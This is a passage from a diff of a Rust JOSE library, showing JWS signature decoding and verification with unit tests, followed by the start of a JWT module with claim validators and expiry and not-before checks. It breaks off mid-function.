let signature = general_purpose::URL_SAFE_NO_PAD.decode(&compact_repr[last_dot_idx + 1..])?;
|
||||||
|
|
||||||
|
let payload = general_purpose::URL_SAFE_NO_PAD.decode(&compact_repr[first_dot_idx + 1..last_dot_idx])?;
|
||||||
|
|
||||||
|
Ok(RawJws {
|
||||||
|
compact_repr,
|
||||||
|
header,
|
||||||
|
payload,
|
||||||
|
signature,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
/// JWS verification primitive
|
||||||
|
pub fn verify_signature(encoded_token: &str, public_key: &PublicKey, algorithm: JwsAlg) -> Result<(), JwsError> {
|
||||||
|
let last_dot_idx = encoded_token.rfind('.').ok_or_else(|| JwsError::InvalidEncoding {
|
||||||
|
input: encoded_token.to_owned(),
|
||||||
|
})?;
|
||||||
|
|
||||||
|
if encoded_token.ends_with('.') {
|
||||||
|
return Err(JwsError::InvalidEncoding {
|
||||||
|
input: encoded_token.to_owned(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
let signature = general_purpose::URL_SAFE_NO_PAD.decode(&encoded_token[last_dot_idx + 1..])?;
|
||||||
|
let signature_algo = SignatureAlgorithm::try_from(algorithm)?;
|
||||||
|
|
||||||
|
let signature = match algorithm {
|
||||||
|
// Special decoding rules for ECDSA
|
||||||
|
JwsAlg::ES256 | JwsAlg::ES384 | JwsAlg::ES512 => {
|
||||||
|
let curve = match algorithm {
|
||||||
|
JwsAlg::ES256 => EcCurve::NistP256,
|
||||||
|
JwsAlg::ES384 => EcCurve::NistP384,
|
||||||
|
JwsAlg::ES512 => EcCurve::NistP521,
|
||||||
|
_ => unreachable!("Checked in match above"),
|
||||||
|
};
|
||||||
|
|
||||||
|
let component_size = curve.field_bytes_size();
|
||||||
|
let jws_encoded_signature_size = component_size * 2;
|
||||||
|
|
||||||
|
if signature.len() != jws_encoded_signature_size {
|
||||||
|
return Err(SignatureError::Ec {
|
||||||
|
context: format!(
|
||||||
|
"Invalid JWS EC signature size. Expected: {}; Actual: {}",
|
||||||
|
jws_encoded_signature_size,
|
||||||
|
signature.len()
|
||||||
|
),
|
||||||
|
}
|
||||||
|
.into());
|
||||||
|
}
|
||||||
|
|
||||||
|
let (r, s) = signature.split_at(component_size);
|
||||||
|
|
||||||
|
let signature = EcdsaSignatureValue {
|
||||||
|
r: IntegerAsn1::from_bytes_be_unsigned(r.to_vec()),
|
||||||
|
s: IntegerAsn1::from_bytes_be_unsigned(s.to_vec()),
|
||||||
|
};
|
||||||
|
|
||||||
|
picky_asn1_der::to_vec(&signature).map_err(|e| SignatureError::Ec {
|
||||||
|
context: format!("Failed to encode EC signature to DER format: {e}"),
|
||||||
|
})?
|
||||||
|
}
|
||||||
|
_ => signature,
|
||||||
|
};
|
||||||
|
|
||||||
|
signature_algo.verify(public_key, &encoded_token.as_bytes()[..last_dot_idx], &signature)?;
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
|
||||||
|
#[cfg(test)]
|
||||||
|
mod tests {
|
||||||
|
use super::*;
|
||||||
|
use crate::pem::Pem;
|
||||||
|
use rstest::rstest;
|
||||||
|
|
||||||
|
const PAYLOAD: &str = r#"{"sub":"1234567890","name":"John Doe","admin":true,"iat":1516239022}"#;
|
||||||
|
|
||||||
|
fn get_private_key_1() -> PrivateKey {
|
||||||
|
let pk_pem = picky_test_data::RSA_2048_PK_1.parse::<Pem>().unwrap();
|
||||||
|
PrivateKey::from_pem(&pk_pem).unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn get_private_key_2() -> PrivateKey {
|
||||||
|
let pk_pem = picky_test_data::RSA_2048_PK_7.parse::<Pem>().unwrap();
|
||||||
|
PrivateKey::from_pem(&pk_pem).unwrap()
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn encode_rsa_sha256() {
|
||||||
|
let jwt = Jws {
|
||||||
|
header: JwsHeader {
|
||||||
|
typ: Some(String::from("JWT")),
|
||||||
|
..JwsHeader::new(JwsAlg::RS256)
|
||||||
|
},
|
||||||
|
payload: PAYLOAD.as_bytes().to_vec(),
|
||||||
|
};
|
||||||
|
let encoded = jwt.encode(&get_private_key_1()).unwrap();
|
||||||
|
assert_eq!(encoded, picky_test_data::JOSE_JWT_SIG_EXAMPLE);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(JwsAlg::ES256, picky_test_data::EC_NIST256_PK_1)]
|
||||||
|
#[case(JwsAlg::ES384, picky_test_data::EC_NIST384_PK_1)]
|
||||||
|
#[case(JwsAlg::ES512, picky_test_data::EC_NIST521_PK_1)]
|
||||||
|
fn ecdsa_sign_verify(#[case] alg: JwsAlg, #[case] key_pem: &str) {
|
||||||
|
let key = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
|
||||||
|
let jwt = Jws {
|
||||||
|
header: JwsHeader {
|
||||||
|
typ: Some(String::from("JWT")),
|
||||||
|
..JwsHeader::new(alg)
|
||||||
|
},
|
||||||
|
payload: PAYLOAD.as_bytes().to_vec(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check encode + sign
|
||||||
|
let encoded = jwt.encode(&key).unwrap();
|
||||||
|
|
||||||
|
// Check decode + verify
|
||||||
|
let jws = RawJws::decode(&encoded).unwrap();
|
||||||
|
jws.clone().verify(&key.to_public_key().unwrap()).unwrap();
|
||||||
|
|
||||||
|
assert_eq!(&jws.header, &jwt.header);
|
||||||
|
assert_eq!(&jws.payload, &jwt.payload);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[rstest]
|
||||||
|
#[case(picky_test_data::EC_NIST256_PK_1, picky_test_data::JOSE_JWT_SIG_ES256)]
|
||||||
|
#[case(picky_test_data::EC_NIST384_PK_1, picky_test_data::JOSE_JWT_SIG_ES384)]
|
||||||
|
#[case(picky_test_data::EC_NIST521_PK_1, picky_test_data::JOSE_JWT_SIG_ES512)]
|
||||||
|
fn ecdsa_parse_and_verify(#[case] key_pem: &str, #[case] signature: &str) {
|
||||||
|
let key = PrivateKey::from_pem_str(key_pem).unwrap();
|
||||||
|
|
||||||
|
// Check decode + verify
|
||||||
|
let jws = RawJws::decode(signature).unwrap();
|
||||||
|
jws.clone().verify(&key.to_public_key().unwrap()).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
const JWT_ED25519_BODY: &str = r#"{"username":"kataras"}"#;
|
||||||
|
const JWT_ED25519_GO_BODY: &str = r#"{"foo":"bar"}"#;
|
||||||
|
|
||||||
|
/// Validate that invalid header with alg set to "ED25519" could be parsed by picky
|
||||||
|
#[rstest]
|
||||||
|
#[allow(deprecated)]
|
||||||
|
#[case(
|
||||||
|
picky_test_data::JOSE_JWT_SIG_ED25519_GO_PRIVATE_KEY,
|
||||||
|
picky_test_data::JOSE_JWT_SIG_ED25519_GO,
|
||||||
|
JwsAlg::ED25519,
|
||||||
|
JWT_ED25519_GO_BODY
|
||||||
|
)]
|
||||||
|
#[case(
|
||||||
|
picky_test_data::JOSE_JWT_SIG_ED25519_PRIVATE_KEY,
|
||||||
|
picky_test_data::JOSE_JWT_SIG_ED25519,
|
||||||
|
JwsAlg::EdDSA,
|
||||||
|
JWT_ED25519_BODY
|
||||||
|
)]
|
||||||
|
fn ed25519_algorithm(#[case] key: &str, #[case] encoded_expected: &str, #[case] alg: JwsAlg, #[case] body: &str) {
|
||||||
|
let key = PrivateKey::from_pem_str(key).unwrap();
|
||||||
|
|
||||||
|
let jwt = Jws {
|
||||||
|
header: JwsHeader {
|
||||||
|
typ: Some(String::from("JWT")),
|
||||||
|
..JwsHeader::new(alg)
|
||||||
|
},
|
||||||
|
payload: body.as_bytes().to_vec(),
|
||||||
|
};
|
||||||
|
|
||||||
|
// Check encode + sign
|
||||||
|
let encoded = jwt.encode(&key).unwrap();
|
||||||
|
assert_eq!(encoded, encoded_expected);
|
||||||
|
|
||||||
|
// Check decode + verify
|
||||||
|
let jws = RawJws::decode(&encoded).unwrap();
|
||||||
|
jws.verify(&key.to_public_key().unwrap()).unwrap();
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_rsa_sha256() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let jwt = Jws::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key).unwrap();
|
||||||
|
assert_eq!(jwt.payload.as_slice(), PAYLOAD.as_bytes());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_rsa_sha256_delayed_signature_check() {
|
||||||
|
let jws = RawJws::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE).unwrap();
|
||||||
|
println!("{}", String::from_utf8_lossy(&jws.payload));
|
||||||
|
assert_eq!(jws.peek_payload(), PAYLOAD.as_bytes());
|
||||||
|
|
||||||
|
let public_key = get_private_key_2().to_public_key().unwrap();
|
||||||
|
let err = jws.verify(&public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "signature error: invalid signature");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_rsa_sha256_invalid_signature_err() {
|
||||||
|
let public_key = get_private_key_2().to_public_key().unwrap();
|
||||||
|
let err = Jws::decode(picky_test_data::JOSE_JWT_SIG_EXAMPLE, &public_key)
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(err.to_string(), "signature error: invalid signature");
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_invalid_base64_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
let err = Jws::decode("aieoè~†.tésp.à", &public_key).err().unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
err.to_string(),
|
||||||
|
"couldn\'t decode base64: Invalid symbol 195, offset 4."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_invalid_json_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
|
||||||
|
let err = Jws::decode("abc.abc.abc", &public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "JSON error: expected value at line 1 column 1");
|
||||||
|
|
||||||
|
let err = Jws::decode("eyAiYWxnIjogIkhTMjU2IH0K.abc.abc", &public_key)
|
||||||
|
.err()
|
||||||
|
.unwrap();
|
||||||
|
assert_eq!(
|
||||||
|
err.to_string(),
|
||||||
|
"JSON error: control character (\\u0000-\\u001F) \
|
||||||
|
found while parsing a string at line 2 column 0"
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn decode_invalid_encoding_err() {
|
||||||
|
let public_key = get_private_key_1().to_public_key().unwrap();
|
||||||
|
|
||||||
|
let err = Jws::decode(".abc.abc", &public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "input isn\'t a valid token string: .abc.abc");
|
||||||
|
|
||||||
|
let err = Jws::decode("abc.abc.", &public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "input isn\'t a valid token string: abc.abc.");
|
||||||
|
|
||||||
|
let err = Jws::decode("abc.abc", &public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "input isn\'t a valid token string: abc.abc");
|
||||||
|
|
||||||
|
let err = Jws::decode("abc", &public_key).err().unwrap();
|
||||||
|
assert_eq!(err.to_string(), "input isn\'t a valid token string: abc");
|
||||||
|
}
|
||||||
|
}
|
||||||
Vendored
+690
@@ -0,0 +1,690 @@
|
|||||||
|
use super::jwe::Jwe;
|
||||||
|
use crate::jose::jwe::{JweAlg, JweEnc, JweError, JweHeader};
|
||||||
|
use crate::jose::jws::{Jws, JwsAlg, JwsError, JwsHeader};
|
||||||
|
use crate::key::{PrivateKey, PublicKey};
|
||||||
|
use core::fmt;
|
||||||
|
use serde::Serialize;
|
||||||
|
use serde::de::DeserializeOwned;
|
||||||
|
use thiserror::Error;
|
||||||
|
|
||||||
|
// === error type === //
|
||||||
|
|
||||||
|
#[derive(Debug, Error)]
|
||||||
|
#[non_exhaustive]
|
||||||
|
pub enum JwtError {
|
||||||
|
/// JWS error
|
||||||
|
#[error("JWS error: {source}")]
|
||||||
|
Jws { source: JwsError },
|
||||||
|
|
||||||
|
/// JWE error
|
||||||
|
#[error("JWE error: {source}")]
|
||||||
|
Jwe { source: JweError },
|
||||||
|
|
||||||
|
/// Json error
|
||||||
|
#[error("JSON error: {source}")]
|
||||||
|
Json { source: serde_json::Error },
|
||||||
|
|
||||||
|
/// registered claim type is invalid
|
||||||
|
#[error("registered claim `{claim}` has invalid type")]
|
||||||
|
InvalidRegisteredClaimType { claim: &'static str },
|
||||||
|
|
||||||
|
/// a required claim is missing
|
||||||
|
#[error("required claim `{claim}` is missing")]
|
||||||
|
RequiredClaimMissing { claim: &'static str },
|
||||||
|
|
||||||
|
/// token not yet valid
|
||||||
|
#[error("token not yet valid (not before: {}, now: {} [leeway: {}])", not_before, now.numeric_date, now.leeway)]
|
||||||
|
NotYetValid { not_before: i64, now: JwtDate },
|
||||||
|
|
||||||
|
/// token expired
|
||||||
|
#[error("token expired (not after: {}, now: {} [leeway: {}])", not_after, now.numeric_date, now.leeway)]
|
||||||
|
Expired { not_after: i64, now: JwtDate },
|
||||||
|
|
||||||
|
/// validator is invalid
|
||||||
|
#[error("invalid validator: {description}")]
|
||||||
|
InvalidValidator { description: &'static str },
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<JwsError> for JwtError {
|
||||||
|
fn from(s: JwsError) -> Self {
|
||||||
|
Self::Jws { source: s }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<serde_json::Error> for JwtError {
|
||||||
|
fn from(e: serde_json::Error) -> Self {
|
||||||
|
Self::Json { source: e }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<JweError> for JwtError {
|
||||||
|
fn from(s: JweError) -> Self {
|
||||||
|
Self::Jwe { source: s }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === Validation states === //
|
||||||
|
|
||||||
|
pub struct CheckedState<C> {
|
||||||
|
pub claims: C,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> Clone for CheckedState<C>
|
||||||
|
where
|
||||||
|
C: Clone,
|
||||||
|
{
|
||||||
|
fn clone(&self) -> Self {
|
||||||
|
Self {
|
||||||
|
claims: self.claims.clone(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> fmt::Debug for CheckedState<C>
|
||||||
|
where
|
||||||
|
C: fmt::Debug,
|
||||||
|
{
|
||||||
|
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
|
||||||
|
write!(f, "ValidatedClaims({:?})", self.claims)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone, Debug)]
|
||||||
|
pub struct UncheckedState {
|
||||||
|
payload: Vec<u8>,
|
||||||
|
}
|
||||||
|
|
||||||
|
// === JWT date === //
|
||||||
|
|
||||||
|
/// Represent date as defined by [RFC7519](https://tools.ietf.org/html/rfc7519#section-2).
|
||||||
|
///
|
||||||
|
/// A leeway can be configured to account clock skew when comparing with another date.
|
||||||
|
/// Should be small (less than 120).
|
||||||
|
#[derive(Clone, Debug)]
|
||||||
|
pub struct JwtDate {
|
||||||
|
pub numeric_date: i64,
|
||||||
|
pub leeway: u16,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwtDate {
|
||||||
|
pub const fn new(numeric_date: i64) -> Self {
|
||||||
|
Self {
|
||||||
|
numeric_date,
|
||||||
|
leeway: 0,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const fn new_with_leeway(numeric_date: i64, leeway: u16) -> Self {
|
||||||
|
Self { numeric_date, leeway }
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const fn is_before(&self, other_numeric_date: i64) -> bool {
|
||||||
|
self.numeric_date <= other_numeric_date + self.leeway as i64
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const fn is_before_strict(&self, other_numeric_date: i64) -> bool {
|
||||||
|
self.numeric_date < other_numeric_date + self.leeway as i64
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const fn is_after(&self, other_numeric_date: i64) -> bool {
|
||||||
|
self.numeric_date >= other_numeric_date - self.leeway as i64
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const fn is_after_strict(&self, other_numeric_date: i64) -> bool {
|
||||||
|
self.numeric_date > other_numeric_date - self.leeway as i64
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === validator === //
|
||||||
|
|
||||||
|
#[derive(Debug, Clone, Copy)]
|
||||||
|
enum CheckStrictness {
|
||||||
|
Ignored,
|
||||||
|
Optional,
|
||||||
|
Required,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Debug, Clone)]
|
||||||
|
pub struct JwtValidator {
|
||||||
|
current_date: Option<JwtDate>,
|
||||||
|
expiration_claim: CheckStrictness,
|
||||||
|
not_before_claim: CheckStrictness,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub const NO_CHECK_VALIDATOR: JwtValidator = JwtValidator::no_check();
|
||||||
|
|
||||||
|
impl JwtValidator {
|
||||||
|
/// Check signature and the registered exp and nbf claims. If a claim is missing token is rejected.
|
||||||
|
pub const fn strict(current_date: JwtDate) -> Self {
|
||||||
|
Self {
|
||||||
|
current_date: Some(current_date),
|
||||||
|
expiration_claim: CheckStrictness::Required,
|
||||||
|
not_before_claim: CheckStrictness::Required,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Check signature and the registered exp and nbf claims. Token isn't rejected if a claim is missing.
|
||||||
|
pub const fn lenient(current_date: JwtDate) -> Self {
|
||||||
|
Self {
|
||||||
|
current_date: Some(current_date),
|
||||||
|
expiration_claim: CheckStrictness::Optional,
|
||||||
|
not_before_claim: CheckStrictness::Optional,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// No check.
|
||||||
|
pub const fn no_check() -> Self {
|
||||||
|
Self {
|
||||||
|
current_date: None,
|
||||||
|
expiration_claim: CheckStrictness::Ignored,
|
||||||
|
not_before_claim: CheckStrictness::Ignored,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn current_date(self, current_date: JwtDate) -> Self {
|
||||||
|
Self {
|
||||||
|
current_date: Some(current_date),
|
||||||
|
expiration_claim: CheckStrictness::Required,
|
||||||
|
not_before_claim: CheckStrictness::Required,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn expiration_check_required(self) -> Self {
|
||||||
|
Self {
|
||||||
|
expiration_claim: CheckStrictness::Required,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn expiration_check_optional(self) -> Self {
|
||||||
|
Self {
|
||||||
|
expiration_claim: CheckStrictness::Optional,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn expiration_check_ignored(self) -> Self {
|
||||||
|
Self {
|
||||||
|
expiration_claim: CheckStrictness::Ignored,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn not_before_check_required(self) -> Self {
|
||||||
|
Self {
|
||||||
|
not_before_claim: CheckStrictness::Required,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn not_before_check_optional(self) -> Self {
|
||||||
|
Self {
|
||||||
|
not_before_claim: CheckStrictness::Optional,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn not_before_check_ignored(self) -> Self {
|
||||||
|
Self {
|
||||||
|
not_before_claim: CheckStrictness::Ignored,
|
||||||
|
..self
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// === JWT === //
|
||||||
|
|
||||||
|
const JWT_TYPE: &str = "JWT";
|
||||||
|
const EXPIRATION_TIME_CLAIM: &str = "exp";
|
||||||
|
const NOT_BEFORE_CLAIM: &str = "nbf";
|
||||||
|
|
||||||
|
pub struct Jwt<H, State> {
|
||||||
|
pub header: H,
|
||||||
|
pub state: State,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub type JwtSig = Jwt<JwsHeader, UncheckedState>;
|
||||||
|
pub type CheckedJwtSig<C> = Jwt<JwsHeader, CheckedState<C>>;
|
||||||
|
pub type JwtEnc = Jwt<JweHeader, UncheckedState>;
|
||||||
|
pub type CheckedJwtEnc<C> = Jwt<JweHeader, CheckedState<C>>;
|
||||||
|
|
||||||
|
impl<H, State> Clone for Jwt<H, State>
|
||||||
|
where
|
||||||
|
H: Clone,
|
||||||
|
State: Clone,
|
||||||
|
{
|
||||||
|
fn clone(&self) -> Self {
|
||||||
|
Self {
|
||||||
|
header: self.header.clone(),
|
||||||
|
state: self.state.clone(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<H, State> fmt::Debug for Jwt<H, State>
|
||||||
|
where
|
||||||
|
H: fmt::Debug,
|
||||||
|
State: fmt::Debug,
|
||||||
|
{
|
||||||
|
fn fmt(&self, fmt: &mut fmt::Formatter) -> fmt::Result {
|
||||||
|
fmt.debug_struct("Jwt")
|
||||||
|
.field("header", &self.header)
|
||||||
|
.field("state", &self.state)
|
||||||
|
.finish()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<H, C> Jwt<H, CheckedState<C>> {
|
||||||
|
pub fn new_with_header(header: H, claims: C) -> Self {
|
||||||
|
Jwt {
|
||||||
|
header,
|
||||||
|
state: CheckedState { claims },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> CheckedJwtSig<C> {
|
||||||
|
pub fn new(alg: JwsAlg, claims: C) -> Self {
|
||||||
|
Jwt {
|
||||||
|
header: JwsHeader {
|
||||||
|
typ: Some(JWT_TYPE.to_owned()),
|
||||||
|
..JwsHeader::new(alg)
|
||||||
|
},
|
||||||
|
state: CheckedState { claims },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_with_cty(alg: JwsAlg, cty: impl Into<String>, claims: C) -> Self {
|
||||||
|
Jwt {
|
||||||
|
header: JwsHeader {
|
||||||
|
typ: Some(JWT_TYPE.to_owned()),
|
||||||
|
..JwsHeader::new_with_cty(alg, cty)
|
||||||
|
},
|
||||||
|
state: CheckedState { claims },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> CheckedJwtSig<C>
|
||||||
|
where
|
||||||
|
C: Serialize,
|
||||||
|
{
|
||||||
|
pub fn encode(self, private_key: &PrivateKey) -> Result<String, JwtError> {
|
||||||
|
let jws = Jws {
|
||||||
|
header: self.header,
|
||||||
|
payload: serde_json::to_vec(&self.state.claims)?,
|
||||||
|
};
|
||||||
|
let encoded = jws.encode(private_key)?;
|
||||||
|
Ok(encoded)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwtSig {
|
||||||
|
pub fn encode(self, private_key: &PrivateKey) -> Result<String, JwtError> {
|
||||||
|
let jws = Jws {
|
||||||
|
header: self.header,
|
||||||
|
payload: self.state.payload,
|
||||||
|
};
|
||||||
|
let encoded = jws.encode(private_key)?;
|
||||||
|
Ok(encoded)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwtSig {
|
||||||
|
/// Verifies signature and returns decoded JWS payload.
|
||||||
|
pub fn decode(encoded_token: &str, public_key: &PublicKey) -> Result<Self, JwtError> {
|
||||||
|
let jws = Jws::decode(encoded_token, public_key)?;
|
||||||
|
Ok(Self::from(jws))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<Jws> for JwtSig {
|
||||||
|
fn from(jws: Jws) -> Self {
|
||||||
|
Self {
|
||||||
|
header: jws.header,
|
||||||
|
state: UncheckedState { payload: jws.payload },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> CheckedJwtEnc<C> {
|
||||||
|
pub fn new(alg: JweAlg, enc: JweEnc, claims: C) -> Self {
|
||||||
|
Jwt {
|
||||||
|
header: JweHeader {
|
||||||
|
typ: Some(JWT_TYPE.to_owned()),
|
||||||
|
..JweHeader::new(alg, enc)
|
||||||
|
},
|
||||||
|
state: CheckedState { claims },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn new_with_cty(alg: JweAlg, enc: JweEnc, cty: impl Into<String>, claims: C) -> Self {
|
||||||
|
Jwt {
|
||||||
|
header: JweHeader {
|
||||||
|
typ: Some(JWT_TYPE.to_owned()),
|
||||||
|
..JweHeader::new_with_cty(alg, enc, cty)
|
||||||
|
},
|
||||||
|
state: CheckedState { claims },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<C> CheckedJwtEnc<C>
|
||||||
|
where
|
||||||
|
C: Serialize,
|
||||||
|
{
|
||||||
|
/// Encode with CEK encrypted and included in the token using asymmetric cryptography.
|
||||||
|
pub fn encode(self, asymmetric_key: &PublicKey) -> Result<String, JwtError> {
|
||||||
|
let jwe = Jwe {
|
||||||
|
header: self.header,
|
||||||
|
payload: serde_json::to_vec(&self.state.claims)?,
|
||||||
|
};
|
||||||
|
let encoded = jwe.encode(asymmetric_key)?;
|
||||||
|
Ok(encoded)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Encode with provided CEK (a symmetric key). This will ignore `alg` value and override it with "dir".
|
||||||
|
pub fn encode_direct(self, cek: &[u8]) -> Result<String, JweError> {
|
||||||
|
let jwe = Jwe {
|
||||||
|
header: self.header,
|
||||||
|
payload: serde_json::to_vec(&self.state.claims)?,
|
||||||
|
};
|
||||||
|
let encoded = jwe.encode_direct(cek)?;
|
||||||
|
Ok(encoded)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl JwtEnc {
|
||||||
|
/// Decode using asymmetric cryptography.
|
||||||
|
pub fn decode(encoded_token: &str, key: &PrivateKey) -> Result<Self, JwtError> {
|
||||||
|
let jwe = Jwe::decode(encoded_token, key)?;
|
||||||
|
Ok(Self::from(jwe))
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Decode with provided CEK (a symmetric key).
|
||||||
|
pub fn decode_direct(encoded_token: &str, cek: &[u8]) -> Result<Self, JwtError> {
|
||||||
|
let jwe = Jwe::decode_direct(encoded_token, cek)?;
|
||||||
|
Ok(Self::from(jwe))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl From<Jwe> for JwtEnc {
|
||||||
|
fn from(jwe: Jwe) -> Self {
|
||||||
|
Self {
|
||||||
|
header: jwe.header,
|
||||||
|
state: UncheckedState { payload: jwe.payload },
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
impl<H> Jwt<H, UncheckedState> {
|
||||||
|
/// Validate JWT claims using validator and convert payload to a user-defined typed struct.
|
||||||
|
pub fn validate<C>(self, validator: &JwtValidator) -> Result<Jwt<H, CheckedState<C>>, JwtError>
|
||||||
|
where
|
||||||
|
C: DeserializeOwned,
|
||||||
|
{
|
||||||
|
Ok(Jwt {
|
||||||
|
header: self.header,
|
||||||
|
state: CheckedState {
|
||||||
|
claims: h_decode_and_validate_claims(&self.state.payload, validator)?,
|
||||||
|
},
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn h_decode_and_validate_claims<C: DeserializeOwned>(
|
||||||
|
claims_json: &[u8],
|
||||||
|
validator: &JwtValidator,
|
||||||
|
) -> Result<C, JwtError> {
|
||||||
|
let claims = match (
|
||||||
|
&validator.current_date,
|
||||||
|
validator.not_before_claim,
|
||||||
|
validator.expiration_claim,
|
||||||
|
) {
|
||||||
|
(None, CheckStrictness::Required, _) | (None, _, CheckStrictness::Required) => {
|
||||||
|
return Err(JwtError::InvalidValidator {
|
||||||
|
description: "current date is missing",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
(Some(current_date), nbf_strictness, exp_strictness) => {
|
||||||
|
let claims = serde_json::from_slice::<serde_json::Value>(claims_json)?;
|
||||||
|
|
||||||
|
let nbf_opt = claims.get(NOT_BEFORE_CLAIM);
|
||||||
|
match (nbf_strictness, nbf_opt) {
|
||||||
|
(CheckStrictness::Ignored, _) | (CheckStrictness::Optional, None) => {}
|
||||||
|
(CheckStrictness::Required, None) => {
|
||||||
|
return Err(JwtError::RequiredClaimMissing {
|
||||||
|
claim: NOT_BEFORE_CLAIM,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
(_, Some(nbf)) => {
|
||||||
|
let nbf_i64 = nbf.as_i64().ok_or(JwtError::InvalidRegisteredClaimType {
|
||||||
|
claim: NOT_BEFORE_CLAIM,
|
||||||
|
})?;
|
||||||
|
if !current_date.is_after(nbf_i64) {
|
||||||
|
return Err(JwtError::NotYetValid {
|
||||||
|
not_before: nbf_i64,
|
||||||
|
now: current_date.clone(),
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
let exp_opt = claims.get(EXPIRATION_TIME_CLAIM);
|
||||||
|
match (exp_strictness, exp_opt) {
|
||||||
|
(CheckStrictness::Ignored, _) | (CheckStrictness::Optional, None) => {}
|
||||||
|
(CheckStrictness::Required, None) => {
|
||||||
|
return Err(JwtError::RequiredClaimMissing {
|
||||||
|
claim: EXPIRATION_TIME_CLAIM,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
(_, Some(exp)) => {
|
||||||
|
